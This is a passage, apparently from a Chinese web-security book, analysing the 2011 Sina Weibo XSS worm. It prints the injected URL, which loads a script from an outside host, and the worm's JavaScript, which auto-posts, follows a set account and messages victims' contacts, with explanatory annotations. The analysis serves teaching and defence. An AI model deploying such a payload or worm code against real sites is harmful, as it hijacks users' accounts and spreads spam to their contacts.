Web应用安全威胁与防治
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

故事二:微博上的蠕虫

我们知道2011年6月份,新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”、“建党大业中穿帮的地方”、“让女人心动的100句诗歌”、“这是传说中的神仙眷侣啊”等微博和私信,并自动关注一位名为hellosamy的用户。微博用户中招后会自动向自己的粉丝发送含毒私信和微博,有人点击后会再次中毒,形成恶性循环。

如果我们仔细看一下,会发现原始的微博链接如下图所示。

如果我们对URL进行解码,就会发现这个链接其实就是:

http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update

而问题的奥妙就在于那个位于www.2kt.cn主机上的脚本t.js,它的主要代码如下:

function publish(){                             ➊
    url='http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
    data='content=' + random_msg() + '&pic=&styleid=2&retcode=';
    post(url,data,true);
}
function follow(){                             ➋
    url='http://weibo.com/attention/aj_addfollow.php?refer_sort= profile&atnId=profile&rnd=' + new Date().getTime();

data='uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + ➌ '&refer_sort=profile&atnId=profile'; post(url,data,true); } function message(){ ➍ url='http://weibo.com/' + $CONFIG.$uid + '/follow'; ids=getappkey(url); ➎ id=ids.split('||'); for(i=0;i<id.length - 1 &i<5;i++){ msgurl='http://weibo.com/message/addmsg.php?rnd=' + new Date(). getTime(); msg=random_msg(); msg=encodeURIComponent(msg); user=encodeURIComponent(encodeURIComponent(id[i])); data='content=' + msg + '&name=' + user + '&retcode='; post(msgurl,data,false); } } function main(){ ➏ try{ publish(); } catch(e){} try{ follow(); } catch(e){} try{ message(); } catch(e){} }

➊ 的作用是调用Ajax发送随机消息,当然了,这里预先定义了一些吸引人眼球的消息。

➋ 的作用是follow一个特定的用户hellosamy,它的ID是➌中声明的2201270010。

➍ 的作用是向受害者的好友发私信。

➎ 的作用就是得到受害者的好友列表,它的基本思想是发送一个GET请求,然后分析返回的文本,按照一定的正则表达式来获得好友列表。

➏ 是主函数,就是说t.js一旦被加载,则依次触发发信息,加hellosamy为好友,并且向受害者的好友发送私信。

这个故事告诉我们——XSS问题虽然不大,但是,其影响却可以很大!所以,安全无小事!